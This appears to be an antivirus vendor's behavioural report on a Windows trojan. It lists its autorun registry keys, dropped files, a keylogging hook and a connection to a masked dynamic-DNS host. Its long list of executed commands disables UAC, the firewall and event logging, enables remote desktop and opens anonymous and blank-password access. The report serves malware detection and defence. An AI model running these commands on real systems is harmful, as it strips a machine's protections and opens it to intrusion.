Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'UserInit' = '<SYSTEM32>\userinit.exe,%ALLUSERSPROFILE%\Favorites\Network\scvhosts.exe'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'LAN/WAN interface' = '%ALLUSERSPROFILE%\Favorites\Network\scvhosts.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'cftmons' = '%WINDIR%\systems.vbs'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\RemoteRegistry] 'Start' = '00000002'
Malicious functions:
To bypass firewall, removes or modifies the following registry keys:
- [<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List] '%WINDIR%\scvhosts.exe' = '%WINDIR%\scvhosts.exe:*:Enabled:svchost'
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Creates and executes the following:
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\sc.exe' config RemoteRegistry start= auto
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\ /v AutoShareWks /t REG_DWORD /d 1 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@APPDATALOCAL@\Xenocode\Sandbox\23rg\22.1.1.1\2013.04.09T15.49\Native\STUBEXE\@SYSTEM@\cmd.exe' /k attrib "%ALLUSERSPROFILE%\Templates\ste.exe" +s +h
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\NETSH.EXE' firewall set service type = fileandprint mode = mode
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c sc config RemoteRegistry start= auto
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v TurnOffAnonymousBlock /t REG_DWORD /d 1 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@WINDIR@\scvhosts.exe'
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\net1.exe' user %USERNAME% /active:yes
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@WINDIR@\notepad.exe'
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\gpupdate.exe' /force
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c gpupdate/force
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\sc.exe' config eventlog start= disabled
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\ATTRIB.EXE' "%ALLUSERSPROFILE%\Templates\ste.exe" +s +h
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@APPDATALOCAL@\Xenocode\Sandbox\23rg\22.1.1.1\2013.04.09T15.49\Native\STUBEXE\@FAVORITESCOMMON@\Network\scvhosts.exe'
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\net.exe' user %USERNAME% /active:yes
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c sc config eventlog start= disabled
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v NoLmHash /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\ntvdm.exe' -f -i1
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c ""%WINDIR%\Enable_Blank_Passwd.bat" "
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\cmd.exe' /c ""%WINDIR%\help.bat" "
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\WScript.exe' "%WINDIR%\win.vbs"
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v cftmons /t reg_sz /d %WINDIR%\systems.vbs /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\WScript.exe' "%WINDIR%\systems.vbs"
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\ATTRIB.EXE' +S +H +A %WINDIR%\scvhosts.exe
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\NETSH.EXE' firewall set allowedprogram program=%WINDIR%\scvhosts.exe name=svchost
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v restrictanonymous /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v restrictanonymoussam /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v everyoneincludesanonymous /t REG_DWORD /d 1 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\ntvdm.exe' -f -i2
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<LS_APPDATA>\Xenocode\Sandbox\1.0.0.0\2013.04.11T16.36\Native\STUBEXE\@SYSTEM@\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Installs hooks to intercept notifications
on keystrokes:
- Handler for the 'scvhosts.exe' process: %ALLUSERSPROFILE%\Favorites\Network\scvhosts.exe
Modifies file system :
Creates the following files:
- %WINDIR%\Temp\scs3.tmp
- %WINDIR%\Temp\scs2.tmp
- %WINDIR%\Temp\scs1.tmp
- <LS_APPDATA>\Xenocode\Sandbox\23rg\22.1.1.1\2013.04.09T15.49\Virtual\XRegistry.tmp
- %ALLUSERSPROFILE%\Favorites\Network\scvhosts.exe
- %WINDIR%\Temp\scs4.tmp
- %WINDIR%\help.bat
- %WINDIR%\Enable_Blank_Passwd.bat
- %WINDIR%\win.vbs
- %WINDIR%\scvhosts.exe
- %WINDIR%\systems.vbs
Sets the 'hidden' attribute to the following files:
- %ALLUSERSPROFILE%\Favorites\Network\scvhosts.exe
- %WINDIR%\scvhosts.exe
Deletes the following files:
- %WINDIR%\Temp\scs3.tmp
- %WINDIR%\Temp\scs4.tmp
- %WINDIR%\Temp\scs1.tmp
- %WINDIR%\Temp\scs2.tmp
Network activity:
Connects to:
- 'da####der.zapto.org':5900
UDP:
- DNS ASK da####der.zapto.org
Miscellaneous:
Searches for the following windows:
- ClassName: '#32770' WindowName: 'Program Manager'
- ClassName: 'Indicator' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
- ClassName: '#32770' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-a48.a50.3d0009'
- ClassName: 'ConsoleWindowClass' WindowName: 'ntvdm-a18.a1c.3a0006'
